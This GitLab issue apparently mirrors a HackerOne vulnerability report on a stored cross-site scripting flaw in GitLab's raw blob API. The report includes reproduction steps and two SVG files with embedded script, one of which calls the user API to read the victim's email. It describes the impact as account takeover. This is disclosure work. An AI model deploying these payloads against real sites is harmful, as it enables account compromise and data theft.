ESCALATED: Stored XSS in the blob APIs
**[HackerOne report #672150](https://hackerone.com/reports/672150)** by `rpadovani` on 2019-08-13, assigned to `jritchey`: ### Summary Visiting the blob APIs through the browser trigger a stored XSS via a .svg file This issue is similar to https://hackerone.com/reports/651335 (tracked as gitlab-foss#65080 over Gitlab), meaning is a XSS in the APIs, but it is about a different component, since it is in a different endpoint (the other one is about files APIs, this is in blob APIs) ### Steps to reproduce 1. Create a repository 2. Create a SVG file like ``` <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert("surprise"); </script> </svg> ``` 3. Find out its SHA, using the [List Repository Tree Api](https://docs.gitlab.com/ee/api/repositories.html#list-repository-tree) 4. Use the [Raw Blob Content](https://docs.gitlab.com/ee/api/repositories.html#raw-blob-content) API to trigger the XSS, such as https://gitlab.com/api/v4/projects/13337155/repository/blobs/24a83dd041326bb5b8f723f2db3a6c9bd72397ad/raw (I can give access, if needed) ### Impact If we trick a user to visit the page (and we can use a lot of different ways to do so, e.g. including the link in a issue, or doing a redirect from an external website), we have complete access to their account. We can use internal and external API, because we can also recovering the `X-CSRF-Token` easily from https://gitlab.com/-/graphql-explorer We basically have access to the entire user profile, ### Examples Practical example of invoking APIs ``` <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> fetch("/api/v4/user") .then(res => res.json()) .then(j => alert(j["email"])) </script> </svg> ``` ### What is the current *bug* behavior? Stored XSS ### What is the expected *correct* behavior? The svg is shown as plain text ### Relevant logs and/or screenshots Attached video ### Output of checks This bug happens on GitLab.com ## Impact Basically account takeover with well crafted svg files ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [xss-blob-2019-08-13_11.40.38.mp4](https://h1.sec.gitlab.net/a/f70e6dab-2e01-4f7f-b10f-563dcda6f022/xss-blob-2019-08-13_11.40.38.mp4)
issue